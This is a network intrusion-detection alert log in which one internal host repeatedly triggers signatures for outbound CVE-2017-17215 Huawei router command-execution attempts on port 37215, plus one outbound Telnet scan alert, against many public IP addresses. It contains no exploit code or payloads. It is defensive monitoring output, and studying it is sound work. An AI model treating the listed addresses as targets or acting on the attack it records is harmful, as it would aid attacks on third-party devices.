ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.140.108.246

Timestamp:	2024-07-26T17:42:52.052390+0200
SID:	2835222
Source Port:	38158
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 39.65.67.108

Timestamp:	2024-07-26T17:43:06.886909+0200
SID:	2835222
Source Port:	57356
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET SCAN Behavioral Unusually fast outbound Telnet Connections, Potential Scan or Brute Force - Source IP: 192.168.2.15 - Destination IP: 32.112.195.224

Timestamp:	2024-07-26T17:42:00.341021+0200
SID:	2008230
Source Port:	13638
Destination Port:	23
Protocol:	TCP
Classtype:	Misc activity

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.167.188.118

Timestamp:	2024-07-26T17:42:24.803633+0200
SID:	2835222
Source Port:	52288
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.41.70.190

Timestamp:	2024-07-26T17:42:38.336981+0200
SID:	2835222
Source Port:	54634
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.246.189.242

Timestamp:	2024-07-26T17:42:38.393500+0200
SID:	2835222
Source Port:	58204
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.198.97.150

Timestamp:	2024-07-26T17:42:00.299767+0200
SID:	2835222
Source Port:	35614
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.146.158.60

Timestamp:	2024-07-26T17:43:10.501410+0200
SID:	2835222
Source Port:	51934
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.157.241.85

Timestamp:	2024-07-26T17:42:23.591388+0200
SID:	2835222
Source Port:	55052
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 153.180.1.96

Timestamp:	2024-07-26T17:42:24.287799+0200
SID:	2835222
Source Port:	40974
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 93.92.209.138

Timestamp:	2024-07-26T17:43:00.563591+0200
SID:	2835222
Source Port:	34452
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.208.134.218

Timestamp:	2024-07-26T17:42:24.297544+0200
SID:	2835222
Source Port:	45464
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.98.155.52

Timestamp:	2024-07-26T17:42:24.463324+0200
SID:	2835222
Source Port:	41628
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 217.255.162.157

Timestamp:	2024-07-26T17:42:22.893675+0200
SID:	2835222
Source Port:	57192
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.221.94.239

Timestamp:	2024-07-26T17:42:38.375828+0200
SID:	2835222
Source Port:	41572
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.34.208.24

Timestamp:	2024-07-26T17:42:54.174469+0200
SID:	2835222
Source Port:	57340
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.178.116.233

Timestamp:	2024-07-26T17:42:35.406729+0200
SID:	2835222
Source Port:	41346
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.129.68.49

Timestamp:	2024-07-26T17:42:03.751947+0200
SID:	2835222
Source Port:	45872
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.157.132.237

Timestamp:	2024-07-26T17:42:22.812855+0200
SID:	2835222
Source Port:	48976
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.255.12.216

Timestamp:	2024-07-26T17:42:22.853896+0200
SID:	2835222
Source Port:	37094
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.117.124.176

Timestamp:	2024-07-26T17:42:38.336977+0200
SID:	2835222
Source Port:	40692
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.94.183.214

Timestamp:	2024-07-26T17:42:56.988818+0200
SID:	2835222
Source Port:	36470
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.126.190.106

Timestamp:	2024-07-26T17:43:00.506913+0200
SID:	2835222
Source Port:	54954
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.105.86.72

Timestamp:	2024-07-26T17:42:24.454733+0200
SID:	2835222
Source Port:	45774
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 211.48.92.231

Timestamp:	2024-07-26T17:43:06.797400+0200
SID:	2835222
Source Port:	38180
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.35.116.97

Timestamp:	2024-07-26T17:42:23.616440+0200
SID:	2835222
Source Port:	38512
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.205.52.253

Timestamp:	2024-07-26T17:42:51.608904+0200
SID:	2835222
Source Port:	45206
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.90.200.178

Timestamp:	2024-07-26T17:43:21.678989+0200
SID:	2835222
Source Port:	34350
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.140.206.190

Timestamp:	2024-07-26T17:42:27.586204+0200
SID:	2835222
Source Port:	54582
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 68.45.142.254

Timestamp:	2024-07-26T17:43:24.357902+0200
SID:	2835222
Source Port:	40668
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.21.204.251

Timestamp:	2024-07-26T17:42:38.401646+0200
SID:	2835222
Source Port:	36440
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.93.60.103

Timestamp:	2024-07-26T17:42:54.101696+0200
SID:	2835222
Source Port:	52118
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.67.97.71

Timestamp:	2024-07-26T17:42:23.237927+0200
SID:	2835222
Source Port:	44838
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.6.18.203

Timestamp:	2024-07-26T17:42:30.815681+0200
SID:	2835222
Source Port:	47692
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.39.222.54

Timestamp:	2024-07-26T17:42:22.970194+0200
SID:	2835222
Source Port:	47498
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.157.191.230

Timestamp:	2024-07-26T17:43:00.441812+0200
SID:	2835222
Source Port:	48398
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.229.153.155

Timestamp:	2024-07-26T17:42:23.617803+0200
SID:	2835222
Source Port:	60478
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.224.231.189

Timestamp:	2024-07-26T17:43:10.648359+0200
SID:	2835222
Source Port:	57998
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.230.227.35

Timestamp:	2024-07-26T17:42:22.985864+0200
SID:	2835222
Source Port:	45838
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.76.235.85

Timestamp:	2024-07-26T17:42:22.879542+0200
SID:	2835222
Source Port:	54202
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.93.156.144

Timestamp:	2024-07-26T17:43:32.380501+0200
SID:	2835222
Source Port:	33682
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.71.10.243

Timestamp:	2024-07-26T17:42:44.271157+0200
SID:	2835222
Source Port:	40282
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.121.172.96

Timestamp:	2024-07-26T17:42:44.231489+0200
SID:	2835222
Source Port:	36950
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.61.56.236

Timestamp:	2024-07-26T17:43:16.840046+0200
SID:	2835222
Source Port:	58144
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.100.159.198

Timestamp:	2024-07-26T17:42:24.521300+0200
SID:	2835222
Source Port:	47268
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 222.110.5.133

Timestamp:	2024-07-26T17:42:56.990565+0200
SID:	2835222
Source Port:	46396
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 23.147.182.187

Timestamp:	2024-07-26T17:42:22.943465+0200
SID:	2835222
Source Port:	51934
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 126.206.120.7

Timestamp:	2024-07-26T17:42:45.304300+0200
SID:	2835222
Source Port:	50628
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 163.157.201.25

Timestamp:	2024-07-26T17:42:23.056769+0200
SID:	2835222
Source Port:	60020
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.179.21.207

Timestamp:	2024-07-26T17:42:27.003689+0200
SID:	2835222
Source Port:	39788
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.240.175.32

Timestamp:	2024-07-26T17:42:22.856108+0200
SID:	2835222
Source Port:	38494
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.247.67.99

Timestamp:	2024-07-26T17:42:24.287422+0200
SID:	2835222
Source Port:	59572
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.35.214.62

Timestamp:	2024-07-26T17:42:40.497702+0200
SID:	2835222
Source Port:	33334
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 180.146.243.119

Timestamp:	2024-07-26T17:42:03.751870+0200
SID:	2835222
Source Port:	38798
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.194.249.71

Timestamp:	2024-07-26T17:42:22.896586+0200
SID:	2835222
Source Port:	37812
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.14.134.65

Timestamp:	2024-07-26T17:42:24.511474+0200
SID:	2835222
Source Port:	53334
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.200.148.42

Timestamp:	2024-07-26T17:42:03.751998+0200
SID:	2835222
Source Port:	51668
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.232.73.119

Timestamp:	2024-07-26T17:42:24.509979+0200
SID:	2835222
Source Port:	35848
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.250.30.37

Timestamp:	2024-07-26T17:42:52.051540+0200
SID:	2835222
Source Port:	34816
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.246.125.122

Timestamp:	2024-07-26T17:42:22.831517+0200
SID:	2835222
Source Port:	53840
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.17.17.92

Timestamp:	2024-07-26T17:42:52.052769+0200
SID:	2835222
Source Port:	56188
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.165.241.7

Timestamp:	2024-07-26T17:42:24.287552+0200
SID:	2835222
Source Port:	48798
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.192.99.218

Timestamp:	2024-07-26T17:42:24.511473+0200
SID:	2835222
Source Port:	52884
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 106.205.211.61

Timestamp:	2024-07-26T17:42:23.645944+0200
SID:	2835222
Source Port:	47750
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 123.249.101.104

Timestamp:	2024-07-26T17:42:24.323922+0200
SID:	2835222
Source Port:	52422
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.102.169.112

Timestamp:	2024-07-26T17:43:29.172763+0200
SID:	2835222
Source Port:	36304
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.65.169.133

Timestamp:	2024-07-26T17:42:38.336975+0200
SID:	2835222
Source Port:	41866
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.79.237.252

Timestamp:	2024-07-26T17:42:22.856279+0200
SID:	2835222
Source Port:	57540
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.157.37.218

Timestamp:	2024-07-26T17:42:03.752000+0200
SID:	2835222
Source Port:	43686
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.119.221.61

Timestamp:	2024-07-26T17:42:03.751871+0200
SID:	2835222
Source Port:	48516
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.130.202.70

Timestamp:	2024-07-26T17:43:24.352835+0200
SID:	2835222
Source Port:	57230
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.20.158.239

Timestamp:	2024-07-26T17:42:32.923394+0200
SID:	2835222
Source Port:	48880
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 161.216.84.102

Timestamp:	2024-07-26T17:43:21.924166+0200
SID:	2835222
Source Port:	51394
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.109.4.1

Timestamp:	2024-07-26T17:42:41.860069+0200
SID:	2835222
Source Port:	42826
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.241.217.201

Timestamp:	2024-07-26T17:42:38.375735+0200
SID:	2835222
Source Port:	38392
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.27.28.243

Timestamp:	2024-07-26T17:42:38.337658+0200
SID:	2835222
Source Port:	57862
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 206.230.202.67

Timestamp:	2024-07-26T17:42:25.234586+0200
SID:	2835222
Source Port:	47738
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.75.255.109

Timestamp:	2024-07-26T17:43:26.508819+0200
SID:	2835222
Source Port:	48122
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.218.5.147

Timestamp:	2024-07-26T17:42:03.752081+0200
SID:	2835222
Source Port:	59454
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 106.157.24.127

Timestamp:	2024-07-26T17:42:24.327040+0200
SID:	2835222
Source Port:	51338
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.131.135.94

Timestamp:	2024-07-26T17:42:24.317690+0200
SID:	2835222
Source Port:	50894
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.124.178.141

Timestamp:	2024-07-26T17:42:56.988003+0200
SID:	2835222
Source Port:	45048
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.185.149.12

Timestamp:	2024-07-26T17:42:52.053882+0200
SID:	2835222
Source Port:	54102
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.190.81.16

Timestamp:	2024-07-26T17:43:10.503975+0200
SID:	2835222
Source Port:	60342
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 128.164.107.88

Timestamp:	2024-07-26T17:43:34.473036+0200
SID:	2835222
Source Port:	55592
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.226.39.89

Timestamp:	2024-07-26T17:42:40.528872+0200
SID:	2835222
Source Port:	36408
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.235.131.144

Timestamp:	2024-07-26T17:43:10.556508+0200
SID:	2835222
Source Port:	40060
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.45.47.161

Timestamp:	2024-07-26T17:42:56.991371+0200
SID:	2835222
Source Port:	48918
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 24.231.168.41

Timestamp:	2024-07-26T17:42:22.977233+0200
SID:	2835222
Source Port:	53646
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 2.236.218.5

Timestamp:	2024-07-26T17:43:06.795826+0200
SID:	2835222
Source Port:	33162
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.160.227.147

Timestamp:	2024-07-26T17:42:23.275321+0200
SID:	2835222
Source Port:	40738
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.62.11.62

Timestamp:	2024-07-26T17:42:26.999031+0200
SID:	2835222
Source Port:	34206
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.7.101.214

Timestamp:	2024-07-26T17:42:40.663101+0200
SID:	2835222
Source Port:	50998
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.208.221.110

Timestamp:	2024-07-26T17:42:30.815346+0200
SID:	2835222
Source Port:	58070
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.123.99.30

Timestamp:	2024-07-26T17:43:04.601850+0200
SID:	2835222
Source Port:	43146
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.219.221.179

Timestamp:	2024-07-26T17:43:22.506796+0200
SID:	2835222
Source Port:	55322
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.12.225.63

Timestamp:	2024-07-26T17:42:22.894237+0200
SID:	2835222
Source Port:	37816
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.80.16.141

Timestamp:	2024-07-26T17:42:56.988812+0200
SID:	2835222
Source Port:	40378
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 32.185.12.224

Timestamp:	2024-07-26T17:43:32.175998+0200
SID:	2835222
Source Port:	41284
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

